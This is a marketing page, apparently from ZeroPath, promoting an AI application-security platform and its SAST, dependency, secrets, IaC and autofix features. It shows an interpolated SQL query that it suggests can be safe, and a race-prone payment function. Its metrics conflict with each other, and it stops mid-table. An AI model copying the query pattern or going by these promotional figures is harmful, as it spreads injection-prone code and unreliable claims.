# ZeroPath - AI-Powered Application Security Platform > ZeroPath is an AI-native application security platform that finds more vulnerabilities with fewer false positives. Trusted by engineering teams to secure code without slowing down development. ## Executive Summary ZeroPath revolutionizes application security by combining advanced AI with deep code analysis. Our platform helps development teams ship secure code faster by dramatically reducing false positives while catching critical vulnerabilities that traditional tools miss. **Key Benefits:** - 🎯 Reduced false positives through AI-powered analysis - ⚡ Fast scanning for large codebases - 🔍 Deep vulnerability detection including business logic flaws - 🛠️ One-click fixes for security issues ## Why ZeroPath? ### The Problem We Solve Traditional security tools generate overwhelming noise with false positives, causing developer fatigue and slowing releases. Meanwhile, they miss critical logic flaws and business logic vulnerabilities that lead to breaches. ### Our Solution ZeroPath's AI understands code context and developer intent, dramatically reducing false positives while catching sophisticated vulnerabilities like authentication bypasses, race conditions, and business logic flaws that rule-based tools miss. ## Core Products & Solutions ### SAST (Static Application Security Testing) Deep semantic analysis across 35+ languages and frameworks **Features:** - AI-powered vulnerability detection with context-aware scanning - Real-time security feedback in IDEs and pull requests - Support for: Python, JavaScript, TypeScript, Java, C#, Go, Ruby, PHP, Swift, Kotlin, Rust, and more - Best-in-class detection rates with lowest false positive rates **Key Metrics:** - False positive reduction: **Significant** - Languages supported: **35+** - Scan time: **Fast** ### SAST Autofix One-click AI-generated fixes for security vulnerabilities **Features:** - Context-aware patches that maintain code functionality - Automated pull request generation with security fixes - Reduces remediation time from hours to seconds - Natural language refinement in PR comments - Centralized management for Snyk, Semgrep, Checkmarx, SonarQube, Veracode, Fortify, and Synopsys **Key Metrics:** - Fix generation: **Automated** - Fix accuracy: **High** - Tools supported: **7+** ### Software Composition Analysis (SCA) Comprehensive dependency scanning across all major package ecosystems **Features:** - Exploitability analysis to determine actual risk - AI-assessed CVSS 4.0 scores based on your specific usage - Package ecosystems: npm, PyPI, Maven, RubyGems, NuGet, Go modules, Cargo, Composer, Docker/OCI - Real-time vulnerability monitoring with 24/7 alerts - SBOM export in CycloneDX format - 90% noise reduction with usage-based risk analysis **Key Metrics:** - Noise reduction: **Significant** - Package ecosystems: **35+** - Vulnerability updates: **Real-time** ### End-of-Life Detection Track deprecated components before they become security risks **Features:** - Operating Systems: Ubuntu, RHEL, CentOS, Debian, Alpine, container base images - Languages & Runtimes: Python, Node.js, Ruby, Java, PHP, Go, .NET versions - Frameworks: Rails, Django, Spring, and 35+ other technologies - Database and infrastructure component monitoring - Configurable alert timelines (3-24 months advance notice) - AI-generated migration paths with effort estimation **Key Metrics:** - Technologies tracked: **Thousands** - Advance notice: **Months ahead** - Migration assistance: **AI-powered** ### Secret Detection Identify exposed credentials, API keys, and tokens **Features:** - Support for 700+ secret patterns - Custom pattern definition for proprietary secrets - Historical scanning to find secrets in git history - Automated remediation workflows - AI false positive reduction for test credentials - Risk-based prioritization with CVSS 4.0 scoring **Key Metrics:** - Secret patterns: **700+** - False positive reduction: **AI-powered** - Detection speed: **Real-time** ### Infrastructure as Code (IaC) Security Scan Terraform, CloudFormation, Kubernetes, Helm configurations **Features:** - 500+ built-in security policies - Detect misconfigurations before deployment - Policy-as-code enforcement - Cloud provider best practices: AWS, Azure, GCP - Compliance checking: SOC2, HIPAA, PCI-DSS, ISO 27001 - Support for ARM Templates, Kubernetes YAML, Dockerfiles, Kustomize **Key Metrics:** - Security policies: **500+** - Cloud platforms: **AWS, Azure, GCP** - Compliance frameworks: **Multiple** ### AI Code Review Automated security review for every pull request **Features:** - Context-aware analysis understanding code intent - Reduced false positives through semantic understanding - Integration with existing review workflows - Custom security policy enforcement - Business logic and authorization flaw detection - Comprehensive detection: secrets, IaC, SCA, SAST issues in one place **Key Metrics:** - Review speed: **Fast** - Pre-merge detection: **Comprehensive** - Developer experience: **Seamless** ### Policy Engine Define custom security policies in natural language **Features:** - Natural language policy definition - Automated enforcement across repositories - Risk scoring and prioritization - Compliance reporting and audit trails - Role-based access control - Custom code quality and security standards ### Security Analytics & Risk Management Track remediation times, vulnerability trends, and team performance **Features:** - Git blame integration for vulnerability attribution - Team and developer analytics - MTTR tracking and performance metrics - AI-powered CVSS 4.0 scoring - PDF and DOCX report generation - Jira and Linear two-way sync **Key Metrics:** - MTTR improvement: **Significant** - Tracking accuracy: **High** - Report formats: **Multiple** ## Product Pages (Detailed) ## Solutions & Use Cases ### AI Application Security (AI AppSec) **URL**: https://zeropath.com/solutions/ai-appsec ## What is AI Application Security? AI Application Security (AI AppSec) represents the next evolution in code security. Instead of relying on predefined patterns and rules, AI-powered security tools understand your code's context, business logic, and actual intent. This means fewer false positives, more accurate vulnerability detection, and patches that actually work. ZeroPath leverages AI to: - Understand complex code relationships across your entire codebase - Generate precise, context-aware security patches - Reduce false positives by over 75% compared to traditional SAST - Detect business logic flaws that require human-like reasoning - Automatically triage and assign vulnerabilities to the right developers ## How AI Transforms Application Security ### Contextual Code Understanding Traditional SAST tools see this: ```javascript const query = `SELECT * FROM users WHERE id = ${userId}`; ``` And flag it as SQL injection. Every time. Even when userId is validated, sanitized, and comes from a trusted source. ZeroPath's AI sees the complete picture: - Where userId originates (JWT token, user input, internal system) - What validation happens before this line - Whether the database driver auto-escapes this pattern - The actual exploitability in your specific context Result: Real vulnerabilities get flagged. False positives don't. ### Intelligent Vulnerability Detection Our AI-powered analysis finds vulnerabilities that require understanding, not just pattern matching: **Business Logic Flaws**: A discount system that allows negative prices when coupons are applied in a specific order. Traditional tools can't understand business rules. AI can. **Complex Authorization Bugs**: An admin check that only works for the primary tenant in a multi-tenant application. This requires understanding application architecture, not just code syntax. **Race Conditions**: Timing vulnerabilities in payment processing that could allow double-spending. AI analyzes execution paths and state management across multiple components. **Modern Attack Vectors**: From prompt injection in LLM integrations to SSRF in microservices architectures, AI adapts to new vulnerability classes automatically. ### Automated Security Engineering When ZeroPath finds a vulnerability, our AI doesn't just point at the problem. It solves it: ```python # Vulnerable code def process_payment(amount, user_id): if check_balance(user_id) >= amount: deduct_balance(user_id, amount) return "Success" # AI-generated patch def process_payment(amount, user_id): with transaction.atomic(): # AI adds transaction safety current_balance = check_balance(user_id) if current_balance >= amount: # AI recognizes race condition potential if deduct_balance_atomic(user_id, amount, expected_balance=current_balance): return "Success" else: return "Transaction failed: Balance changed" ``` The AI understands the race condition risk and generates a complete fix using your framework's patterns. ## Real-World AI AppSec in Action ### Financial Services Company A major fintech used ZeroPath's AI-powered platform on their payment infrastructure: - **SAST**: Found 12 business logic flaws that traditional tools missed - **SCA**: AI reachability analysis showed only 3 of 47 flagged CVEs were actually exploitable - **IaC**: Discovered overly permissive S3 buckets but intelligently ignored intended public assets - **Secrets**: Found leaked API keys while filtering out 200+ false positives from public identifiers Result: 95% reduction in security noise, 20 hours/week saved on triage ### Healthcare Platform AI-powered scanning across their entire stack revealed: - **SAST**: Complex authorization bypasses spanning multiple microservices - **SCA**: Critical vulnerability in image processing library actually used in patient data handling - **IaC**: HIPAA compliance issues in cloud configurations with AI-prioritized fixes - **Combined**: AI correlated findings to show how an IaC misconfiguration could amplify a code vulnerability All issues came with working patches and accurate severity scores based on actual risk. ### E-commerce Giant ZeroPath's AI discovered that their pricing engine could be manipulated through a specific API sequence. The AI: - Understood the intended business logic - Identified the implementation gap - Generated a comprehensive fix maintaining backward compatibility - Suggested additional test cases to prevent regression ## Why AI-Powered Security Matters ### Intelligent Noise Reduction The biggest complaint about security tools? Too many false positives. ZeroPath's AI changes that:

SCA Without AI

"You have 500 vulnerable dependencies!"

SCA With AI

"You have 12 exploitable vulnerabilities in code paths you actually use"

IaC Without AI

"223 misconfigurations found!"

IaC With AI

"7 critical misconfigurations that expose production data"

SAST Without AI

"Potential SQL injection on line 1,847"

SAST With AI

"No risk. Input is pre-validated and query is parameterized"

AI understands context across your entire stack to show what actually matters. ### Scale Without Sacrificing Quality Manual code review doesn't scale. Traditional tools generate too much noise. AI-powered security gives you: - Comprehensive analysis of million-line codebases - Consistent, high-quality findings across SAST, SCA, IaC, and secrets - Automatic prioritization based on actual risk, not generic severity - Security expertise encoded in every scan ### Adapt to Your Codebase Every codebase is unique. ZeroPath's AI learns your: - Coding patterns and conventions - Framework-specific security controls - Custom authentication and authorization logic - Business-specific security requirements This means patches that look like your team wrote them and findings relevant to your actual architecture. ### Keep Pace with Modern Development New frameworks, libraries, and attack vectors emerge constantly. AI-powered security: - Understands new code patterns without rule updates - Detects novel vulnerability classes - Generates fixes using the latest framework features - Adapts to your evolving architecture ## Comprehensive Security Coverage ### What ZeroPath's AI Finds

Traditional Vulnerabilities (SAST)

Dependency Vulnerabilities (SCA)

Infrastructure Security (IaC)

Secrets & Credentials

Complex Security Issues

Modern Threats

### How AI Makes the Difference For each finding across SAST, SCA, IaC, and secrets detection, ZeroPath's AI: - Determines actual exploitability in your specific context - Calculates accurate CVSS scores based on your architecture - Filters out false positives before they waste developer time - Generates context-aware fixes that work in your codebase Example: A critical CVE in a logging library might be marked as low severity by AI because it's only used in test code. A medium severity misconfiguration might be elevated to critical because AI understands it exposes your payment processing service. ## Developer-First AI Security ### Centralized Security with AI Enhancement Already using other security tools? ZeroPath's AI makes them better. Import findings from Semgrep, Snyk, Checkmarx, SonarQube, Veracode, Fortify, or Synopsys and our AI will: - Validate findings to eliminate false positives - Generate working patches for valid vulnerabilities - Provide consistent severity scoring across all tools - Create a unified security dashboard Stop drowning in alerts from multiple tools. Let AI filter, validate, and fix. ### Natural Language Security Policies Tell ZeroPath what matters in plain English: - "Flag any API endpoint that doesn't check user permissions" - "Alert on database queries constructed from user input" - "Find payment processing without proper transaction handling" - "Check that all password resets have rate limiting" AI translates these into comprehensive security analysis across your entire codebase. ### Intelligent Developer Workflow AI powers every step of the security process: 1. **Smart Attribution**: Vulnerabilities automatically assigned to the developer who introduced them 2. **Contextual Explanations**: AI explains vulnerabilities in terms of your specific code 3. **Interactive Remediation**: Ask follow-up questions about any finding 4. **Automated Testing**: AI generates test cases for security fixes ### Learn While You Code Each AI-generated finding includes: - Why this pattern is vulnerable in your context - How attackers could exploit it - Best practices for your specific framework - Similar patterns to watch for Security education built into your daily workflow. ## Getting Started with AI Application Security
1

Connect Your Repository (30 seconds)

AI AppSec begins analyzing immediately:

2

See AI-Driven Insights (30 seconds)

Within seconds, get:

3

Enable Continuous AI Protection

## The Numbers That Matter
75%

fewer false positives than traditional SAST

<60s

PR scans without sacrificing depth

750+

companies trusting AI-powered security

125k+

scans monthly continuously improving our AI

Real security teams are already seeing the difference AI makes. ## Why ZeroPath for AI Application Security ### Purpose-Built for AI AppSec We didn't bolt AI onto an existing tool. ZeroPath was designed from day one to leverage AI for superior application security outcomes: - LLMs trained on millions of real vulnerabilities - AST analysis providing deep code structure understanding - Continuous learning from new vulnerability patterns - Security expertise from finding zero-days at Netflix, Hulu, and Salesforce ### Proven AI That Works Our AI has already: - Generated thousands of production-ready security patches - Reduced security review time from weeks to hours - Found business logic flaws human reviewers missed - Helped teams achieve compliance 3x faster ### Complete Platform, AI-Powered One platform for all your security needs:
**SAST** - AI eliminates false positives by understanding code context and actual exploitability **SCA** - AI analyzes dependency vulnerabilities to determine which ones actually affect your code through reachability analysis. No more fixing vulnerabilities in unused functions. **IaC Security** - AI understands your infrastructure patterns to catch real misconfigurations while ignoring acceptable variations in your environment **Secrets Detection** - AI reduces noise by understanding which exposed strings are actual secrets vs non-sensitive IDs **SBOM Generation** - Complete software composition analysis with AI-filtered insights Every scan uses AI to: - Calculate accurate severity scores based on your specific context - Filter out false positives before they reach developers - Prioritize findings by actual business risk - Generate fixes that match your coding standards
## Start Your AI Application Security Journey Join the hundreds of companies already using AI AppSec to transform their application security. See what AI-powered security can find in your code in just 60 seconds.
Schedule a Demo
### Questions about AI Application Security? Reach out to our AI AppSec team at hello@zeropath.com --- *ZeroPath: Leading AI Application Security Platform* --- ### AI-Powered Code Review **URL**: https://zeropath.com/solutions/ai-code-review ## The Challenge Manual code reviews are time-consuming and inconsistent. Security experts can't review every PR, and developers often lack deep security knowledge. Meanwhile, traditional static analysis tools generate overwhelming noise with minimal context. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **Security reviews bottleneck releases**
Limited security experts can't review every change | **AI-powered automated reviews**
Every PR gets expert-level security analysis in under 60 seconds | | **Reviewers miss subtle vulnerabilities**
Complex data flows and business logic issues slip through | **Deep context understanding**
AI traces data flows across files and understands business logic | | **Inconsistent review quality**
Different reviewers catch different issues | **Standardized AI analysis**
Consistent, comprehensive checks based on your security policies | | **No actionable feedback**
Developers don't know how to fix flagged issues | **One-click fixes with explanations**
AI generates secure patches and explains the vulnerability | ## How it Works

1. Analyze

AI reviews every commit, understanding code intent and security implications

2. Detect

Identifies security vulnerabilities, from OWASP Top 10 to business logic flaws

3. Explain

Provides clear explanations with proof-of-concept and impact analysis

4. Fix

Generates secure patches that match your coding standards

## Key Capabilities ### Intelligent Security Analysis - **Context-aware detection** - Understands your application's architecture and data flows - **Business logic analysis** - Catches authorization bypasses and logic flaws - **Custom policy enforcement** - Enforces your organization's security standards - **Learning from feedback** - Improves accuracy based on your team's decisions ### Developer-Friendly Integration - **PR comments with fixes** - Security feedback appears directly in pull requests - **API for custom workflows** - Integrate with your existing tools and processes - **Slack/Teams notifications** - Keep security teams informed of critical findings ### Comprehensive Coverage - **All major languages** - Support for Python, JavaScript, Java, Go, and more - **Framework-aware** - Understands React, Django, Spring, and other frameworks - **Infrastructure as Code** - Reviews Terraform, CloudFormation, and Kubernetes configs - **API security** - Analyzes REST, GraphQL, and gRPC implementations --- ### AI SAST **URL**: https://zeropath.com/solutions/ai-sast ## What is AI SAST? AI-powered Static Application Security Testing (AI SAST) combines traditional code analysis with machine learning and large language models to deliver security insights that actually matter. Unlike pattern-matching tools that flood you with false positives, AI SAST understands your code's intent, architecture, and business logic.

See the Difference

Traditional SAST floods you with alerts. AI SAST shows what actually matters - real vulnerabilities with contextual understanding and actionable fixes.

ZeroPath AI SAST reducing false positives compared to traditional SAST tools
## The Problem with Traditional SAST Every security engineer knows the drill. Your SAST tool runs overnight and delivers a report with thousands of "critical" findings. You spend the next week triaging, only to discover that 95% are false positives. The real vulnerabilities? They're hiding in the noise, or worse, they're business logic flaws your tool can't even detect. Traditional SAST tools fail because they: - Rely on rigid pattern matching - Can't understand code context or business logic - Generate generic patches that break functionality - Miss modern vulnerability classes like prompt injection - Create more work than they save ## How AI SAST Changes Everything ZeroPath's AI SAST technology represents a fundamental shift in application security. By combining Abstract Syntax Tree (AST) analysis with large language models, we deliver security analysis that thinks like a senior security engineer. ### Deep Code Understanding Our AI SAST engine builds a comprehensive model of your application. Unlike pattern matching, ZeroPath understands: - How data flows through your application - Which security controls are actually effective - When business logic doesn't match implementation - Why certain code patterns are safe in your specific context ### Real Vulnerabilities, Not False Positives Traditional SAST might flag every database query as potentially vulnerable. ZeroPath's AI SAST understands when: - Queries are properly parameterized - Input validation makes exploitation impossible - Authentication checks prevent unauthorized access - Framework protections are correctly implemented
ZeroPath AI SAST contextual analysis of SQL queries showing real vs false positives

Contextual Understanding

Our AI doesn't just pattern match - it understands your entire security context. It knows when a query is safe because of upstream validation, framework protections, or proper parameterization.

Example: Traditional SAST sees string concatenation and screams "SQL injection!" Our AI sees the JWT validation, role checks, and parameterized execution that make it safe.

## AI SAST in Action ### Business Logic Detection A major e-commerce platform discovered their checkout system could be exploited to create negative prices by applying discounts in a specific sequence. Traditional SAST missed this completely because it required understanding business rules, not just code patterns. ZeroPath's AI SAST found it in minutes. ### Modern Threat Detection As LLMs become integrated into applications, new vulnerability classes emerge. ZeroPath's AI SAST already detects: - Prompt injection vulnerabilities - Unsafe LLM response handling - Token leakage in AI integrations - Model manipulation attacks ### Intelligent Patch Generation Finding vulnerabilities is only half the battle. ZeroPath's AI SAST generates contextually-aware patches that: - Respect your coding standards - Preserve existing functionality - Include proper error handling - Match your application's patterns
ZeroPath AI SAST generating intelligent security patches with context-aware fixes

Instant Fixes

One-click patches that actually work in your codebase

Code-Aware

Matches your coding style and patterns perfectly

Safe Changes

Preserves functionality while fixing security issues

## AI DevSecOps Tools Integration ZeroPath isn't just another tool in your stack. It's the intelligence layer that makes your entire DevSecOps pipeline smarter. ### Transform Your Existing SAST Tools Already using Semgrep, Snyk, or Checkmarx? ZeroPath's AI enhances their output: 1. **Import findings** from any major SAST tool 2. **AI validation** eliminates false positives 3. **Automatic patches** for real vulnerabilities 4. **One-click fixes** that actually work

5,000 → 127

That's the typical reduction when ZeroPath's AI processes your existing SAST findings.

  • âś“ Real vulnerabilities identified with context
  • âś“ Automatic patches for every finding
  • âś“ Hours of triage reduced to minutes
ZeroPath dashboard showing consolidated SAST findings with AI-powered triage and remediation
### Seamless CI/CD Integration - **Sub-60 second PR scans** that don't block deployments - **Automatic issue attribution** to the right developer - **Natural language security policies** anyone can write - **Break-glass access** for emergency deployments
ZeroPath AI SAST integration in GitHub pull requests with inline security feedback

Shift Left, Without the Friction

Security feedback right in the PR. Developers fix issues before they merge, not months later in production.

<60s
Scan time
### Developer-First Security Security tools traditionally create friction. ZeroPath's AI DevSecOps approach accelerates development: - **Q&A with findings**: "Why is this vulnerable?" "How could this be exploited?" - **Custom rule creation**: "Flag any API endpoint without rate limiting" - **Learning mode**: Developers improve their security knowledge through intelligent feedback ### Speak Security, Not Regex Security tools traditionally create friction. ZeroPath's AI DevSecOps approach accelerates development: - **Q&A with findings**: "Why is this vulnerable?" "How could this be exploited?" - **Custom rule creation**: "Flag any API endpoint without rate limiting" - **Learning mode**: Developers improve their security knowledge through intelligent feedback
ZeroPath natural language interface for security policy creation and Q&A

Ask Questions

Get explanations in plain English about vulnerabilities and fixes

Custom Rules

Create security policies without regex knowledge

Learn As You Go

Build security expertise through intelligent feedback

## Industry-Specific AI SAST Solutions

Financial Services

Healthcare

SaaS & Technology

## The ZeroPath Advantage ### Speed Meets Accuracy - **750+ companies** trust ZeroPath - **125,000+ scans** performed monthly - **<60 second** PR scan time ### Comprehensive Coverage - **15 languages** supported - **Business logic** vulnerability detection - **Modern threats** like prompt injection - **Zero-day discoveries** at Netflix, Hulu, and Salesforce ### Enterprise Ready - **1-minute setup** for any size organization - **Multi-VCS support** (GitHub, GitLab, Bitbucket, Azure) - **Enterprise SSO** and audit logs - **Team-based permissions** and controls ## Getting Started with AI SAST

1. Connect Repository

Link your VCS with one-click OAuth integration

30 seconds

2. Run AI Scan

See real vulnerabilities, not false positives

30 seconds

3. Apply Fixes

One-click patches that respect your codebase

Instant

## The Future of Application Security AI SAST isn't just an incremental improvement. It's a paradigm shift in how we approach code security. As development accelerates and applications grow more complex, security tools must evolve beyond pattern matching to true code comprehension. ZeroPath is leading this evolution. Our AI SAST platform doesn't just find vulnerabilities; it understands your code, generates fixes, and helps your team build more secure applications from the ground up. ## Start Your AI SAST Journey Join the 750+ companies already using ZeroPath to transform their application security. See why developers love our approach and security teams trust our results. **[Schedule a demo](https://cal.com/zeropath/30)** to see AI SAST in action on your own code. --- ### Resources - [Technical Deep Dive: How ZeroPath's AI SAST Works](https://zeropath.com/blog/how-zeropath-works) - [API Documentation](https://zeropath.com/docs) - [CLI Tool for CI/CD Integration](https://github.com/ZeroPathAI/zeropath-cli) ### Questions? Contact our team at hello@zeropath.com --- ### API Security **URL**: https://zeropath.com/solutions/api-security ## The Challenge APIs can change with every deployment, and all of it has to remain indexed. Adopting specific frameworks can help impose structure, but what about legacy code or shadow endpoints that eschew those policies? In a large organization with diverse applications, keeping a good overview of your current API posture often means either imposing bureaucratic structure on your developers or requiring security engineers to sift through documentation and code on their own time. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **No single system for organizing and registering endpoints** | **LLMs crawl your codebase for input handlers** | **Static SASTs have no visibility or understanding of auth** | **Universal business logic and authentication scanning** | **Static scanners see code but ignore live request paths** | **Source-to-sink analysis links route definitions to handler logic** | | **Security teams sift through piles of false positives** | **Reachability checks hide unreachable endpoints and unused functions** | ## How it Works

1. Discover

Automatically map all API endpoints across REST, GraphQL, gRPC, and WebSockets

2. Analyze

Trace data flows from endpoint to database, understanding authentication and authorization

3. Detect

Identify OWASP API Top 10 vulnerabilities and business logic flaws

4. Protect

Generate fixes and update API documentation automatically

## Key Capabilities ### API-Focused Features - **Automatic discovery** of REST, GraphQL, gRPC, and WebSocket routes - **Data-flow tracing** that surfaces broken auth, business logic flaws, injection issues, and SSRF - **Secret detection** for leaked tokens and keys used in API calls - **Instant Swagger and OpenAPI spec export** to keep docs in sync with reality ### Advanced Security Detection - **Broken Object Level Authorization (BOLA)** - Detect when users can access resources they shouldn't - **Broken Function Level Authorization** - Find admin endpoints exposed to regular users - **Mass Assignment vulnerabilities** - Identify when APIs accept unexpected parameters - **Rate limiting analysis** - Ensure proper throttling on sensitive endpoints - **Input validation gaps** - Catch missing sanitization before data hits your database ### Developer-Friendly Integration - **Pull request comments** - Security feedback appears directly where developers work - **API security scorecard** - Track security posture improvement over time - **Postman collection generation** - Export secure API test suites - **CI/CD pipeline integration** - Block deployments with critical API vulnerabilities --- ### Application Security **URL**: https://zeropath.com/solutions/application-security ## The Challenge Picture a typical sprint: a PR lands ten minutes before cut-off. Your scanner flags 3 items, two of them false. The team rolls the dice and deploys. Six months later Incident Response is on the call. ZeroPath rewrites that story: an on-push scan runs in under 60 seconds, returns only three exploitable issues, and supplies ready-to-merge patches that match your code style. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **Legacy scanners flood developers with noise**
Teams ignore security alerts due to false positive fatigue | **92% alert reduction**
AI-powered analysis shows only real, exploitable vulnerabilities | | **Security fixes break functionality**
Generic patches don't understand your codebase | **Context-aware autopatch**
Generates fixes that match your code style and preserve functionality | | **Vulnerabilities discovered too late**
Finding issues in production is expensive and risky | **Shift-left security**
Sub-minute scans catch issues at commit time, not deployment | | **Developers lack security expertise**
Not everyone knows how to fix complex vulnerabilities | **Built-in security guidance**
Clear explanations and one-click fixes empower every developer | ## How it Works

1. Scan

Real context SAST detects SQLi, XSS, SSRF, broken authN/authZ, and business logic issues

2. Prioritize

AI scores issues based on CVSS 4.0, considering entire context to prevent wasted developer time

3. Fix

Autopatch generates a secure diff in your branch that matches your coding standards

4. Verify

Fail-safe CI blocks until vulnerability is verified as fixed (with audited break-glass option)

## Key Capabilities ### Comprehensive Security Coverage - **Real context SAST** - Ability to detect SQLi, XSS, SSRF, broken authN/authZ, and business logic issues - **Credential guard** - Detects hard-coded keys and leaked tokens the moment they appear - **Dependency analysis** - Identifies vulnerable libraries and suggests secure alternatives - **Infrastructure as Code** - Secures Terraform, CloudFormation, and Kubernetes configurations ### Developer Experience - **Pull request automation** - Security reviews happen automatically on every PR - **Clear remediation guidance** - Understand why something is vulnerable and how to fix it - **Learning mode** - Improves accuracy based on your team's feedback - **Less noise** - 80% lower false positive rate than traditional alternatives ### Enterprise Features - **Custom policy enforcement** - Implement your organization's specific security requirements - **Compliance reporting** - Track SOC2, PCI-DSS, and other compliance requirements - **Security metrics dashboard** - Measure and improve your security posture over time - **Role-based access control** - Control who can view and override security findings --- ### Automate Compliance **URL**: https://zeropath.com/solutions/automate-compliance ## The Challenge Frameworks like SOC 2, ISO 27001, and PCI DSS expect ongoing proof of control effectiveness, not a PDF you assemble once a year. Manual compliance processes drain resources and leave gaps that auditors will find. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **Last-minute audit scrambles**
Teams rush to gather evidence weeks before audits | **Continuous compliance tracking**
Every scan generates fresh audit evidence automatically | | **Manual evidence collection**
Hours spent compiling spreadsheets and screenshots | **Automated evidence packs**
Schedule weekly exports to Vanta, Drata, or ServiceNow GRC | | **Control mapping confusion**
Unclear which findings map to which controls | **Control-aligned scanning**
Each finding mapped to exact control clauses | | **Data privacy compliance**
PHI/PII leaks go undetected in code | **Natural language detection**
Custom rules deployed in minutes across your organization | ## How it Works

1. Scan

SAST, SCA, secret, and IaC scans map each finding to exact control clauses

2. Track

Dashboards show MTTR, SLA breaches, and risk trends by business unit

3. Report

Schedule evidence packs with signed SBOMs and fix verification records

4. Attest

Generate audit-ready attestations with cryptographic proof of compliance

## Key Capabilities ### Control-Aligned Scanning - **SOC 2 mapping** - Direct alignment to all relevant Trust Service Criteria - **ISO 27001 coverage** - Automated evidence for Annex A controls - **PCI DSS requirements** - Continuous monitoring of Requirements 6.x - **Custom frameworks** - Map to your organization's specific controls ### Automated Evidence Collection - **Signed SBOMs** - Complete dependency tracking with cryptographic signatures - **Immutable scan logs** - Tamper-proof records with timestamps - **Fix verification** - Automated proof of remediation timelines - **Policy compliance** - Evidence of security policy enforcement ### Enterprise Organization - **Workspace isolation** - Separate environments for subsidiaries or client projects - **Granular RBAC** - Enforce least-privilege access across teams - **Multi-tenant architecture** - Secure data segregation for different business units - **Audit trails** - Complete activity logs for compliance reviews ### Data Privacy Protection - **PHI/PII detection** - Natural language rules find sensitive data patterns - **GDPR compliance** - Detect personal data processing in code - **Custom rule creation** - Deploy organization-specific rules in minutes - **Cross-repository enforcement** - Consistent privacy protection everywhere --- ### Dev and DevOps Teams **URL**: https://zeropath.com/solutions/dev-ops ## The Challenge Traditional SAST forces you to choose between speed and safety. [60% of teams say at least one-fifth of alerts are false positives](https://www.blackduck.com/blog/black-duck-devsecops-report.html) that break the build for no reason. Late findings trigger re-work that can derail sprint goals and release trains. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **False positives breaking builds**
Teams waste hours investigating non-issues | **LLM-driven false-positive suppression**
Pipeline fails only on issues that matter | | **Late-stage security surprises**
Critical issues found after code is in production | **Shift-left scanning in CI/CD**
Catch vulnerabilities at commit time, not release time | | **Tool sprawl slowing pipelines**
Multiple security tools add minutes to every build | **All-in-one security scanning**
SAST, SCA, secrets, IaC, custom policies, PR reviews, risk management, and autofix in a single fast scan | | **Manual remediation bottlenecks**
Security fixes block releases for days or weeks | **Auto-generated patches**
One-click fixes and Auto AppSec Mode for critical issues | ## How it Works

1. Integrate

Native CI/CD hooks for GitHub, GitLab CI, Azure, Bitbucket Pipelines and any generic runner

2. Scan

Context-aware scanning combines SAST, SCA, secrets, IaC, and policy checks in under 60 seconds

3. Fix

One-click pull request patches with Auto AppSec Mode for hands-free remediation

4. Ship

Policy-driven approvals ensure security without blocking legitimate releases

## Key Capabilities ### Native CI/CD Integration - **Zero-friction gates** exactly where you want them - **Branch protection rules** that enforce security policies - **Parallel scanning** that doesn't slow down builds - **Incremental analysis** for lightning-fast feedback ### Intelligent Alert Management - **AI-powered triage** reduces false positives by 75% - **Risk-based prioritization** focuses on what matters - **Developer-friendly context** with code examples - **Smart suppression rules** that learn from your decisions ### Automated Remediation - **One-click fixes** generated by AI that understands your codebase - **Auto AppSec Mode** opens merge-ready PRs for critical issues - **Unit test generation** ensures fixes don't break functionality - **Style-matching patches** that look like your team wrote them ### Unified Security Platform - **Single scan** for SAST, SCA, secrets, IaC, and custom policies - **Consolidated reporting** across all security domains - **Unified policy engine** for consistent enforcement - **Single pane of glass** for all security metrics ## Outcomes That Matter - **Slash MTTR** with auto-generated patches and policy-driven approvals - **Keep velocity high** - teams that find-and-fix in the same pipeline phase release 2-3Ă— faster - **Reduce context switching** with security feedback directly in your development tools - **Improve code quality** with consistent security standards across all repositories --- ### DevSecOps **URL**: https://zeropath.com/solutions/dev-sec-ops ## The Challenge Velocity defines success in DevSecOps. [36-40% of organizations still lack the in-house skills](https://www.gartner.com/en/documents/4002367) to run DevSecOps at scale, and engineers disable slow security stages first when builds threaten to exceed five minutes. Traditional security tools weren't built for the speed of modern CI/CD. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **Security tools killing build times**
5+ minute scans get disabled to meet SLAs | **Incremental diff scanning**
Sub-60 second scans on typical microservice commits | | **Alert fatigue from noisy tools**
Hundreds of notifications drowning real issues | **Policy-driven alerting**
Only fires when findings breach policy thresholds | | **Manual security ticket creation**
Hours wasted translating findings to actionable tasks | **Auto-AppSec mode**
Automatically raises PRs for high-severity issues | | **Lack of DevSecOps metrics**
No visibility into security impact on velocity | **Pipeline analytics**
Real-time metrics on scan duration, pass rates, and rework costs | ## How it Works

1. Incremental Scanning

Analyzes only changed code paths, completing in under 60 seconds

2. Smart Scheduling

Deep weekend scans with Auto-AppSec mode for comprehensive coverage

3. Integrated Alerting

Native integration with Slack, Teams, Jira, and Linear

4. Continuous Improvement

Analytics dashboard tracks security velocity metrics

## Key Capabilities ### Built for Speed - **Incremental analysis** scans only what changed - **Parallel processing** leverages modern CI/CD infrastructure - **Smart caching** remembers previous scan results - **Optimized algorithms** designed for microservices architecture ### Intelligent Automation - **Auto-AppSec mode** schedules deep scans during off-hours - **Automated PR creation** for high-severity findings - **Smart remediation** generates fixes that match your coding standards - **Policy-as-code** enforces security standards automatically ### Developer-Friendly Integration - **Native CI/CD support** for all major platforms - **API-first design** enables custom integrations - **GitOps compatibility** for infrastructure-as-code workflows ### Enterprise Observability - **Real-time dashboards** track security KPIs - **MTTR benchmarking** against industry standards - **Cost analysis** shows security impact on velocity - **Compliance reporting** for regulated industries ## Proven Results Teams adopting ZeroPath see: - **8-10% increase** in deployment throughput - **60% reduction** in security-related build failures - **75% faster** mean time to remediation - **75% fewer** false positive alerts --- ### Manage Enterprise AppSec Risk **URL**: https://zeropath.com/solutions/enterprise ## The Challenge [Veracode's 2025 figures place the average time to fix half of outstanding vulnerabilities at 252 days](https://www.veracode.com/press-release/public-sector-application-risk-accumulates-as-security-debt-grows-across-government-systems/) across large private-sector organizations. Security leadership needs cross-tool context and predictive insight to bend that curve. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | 